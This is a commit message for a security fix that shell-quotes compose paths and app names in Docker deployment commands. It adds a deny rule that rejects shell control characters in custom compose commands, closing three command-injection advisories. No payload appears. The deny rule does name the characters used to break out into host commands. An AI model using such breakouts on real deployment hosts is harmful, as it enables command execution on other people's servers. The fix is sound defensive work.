fix(security): escape compose path and validate custom compose command

- composePath / appName are now passed through shell-quote in createCommand,
  getCreateEnvFileCommand and services/compose.ts deploy commands, instead of
  being interpolated raw into 'docker compose'/'docker stack' shell commands.
- compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now
  rejects shell control characters (; & | ` $ () {} <> newline), which a normal
  docker compose CLI line never contains, blocking breakout into host commands.

Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw
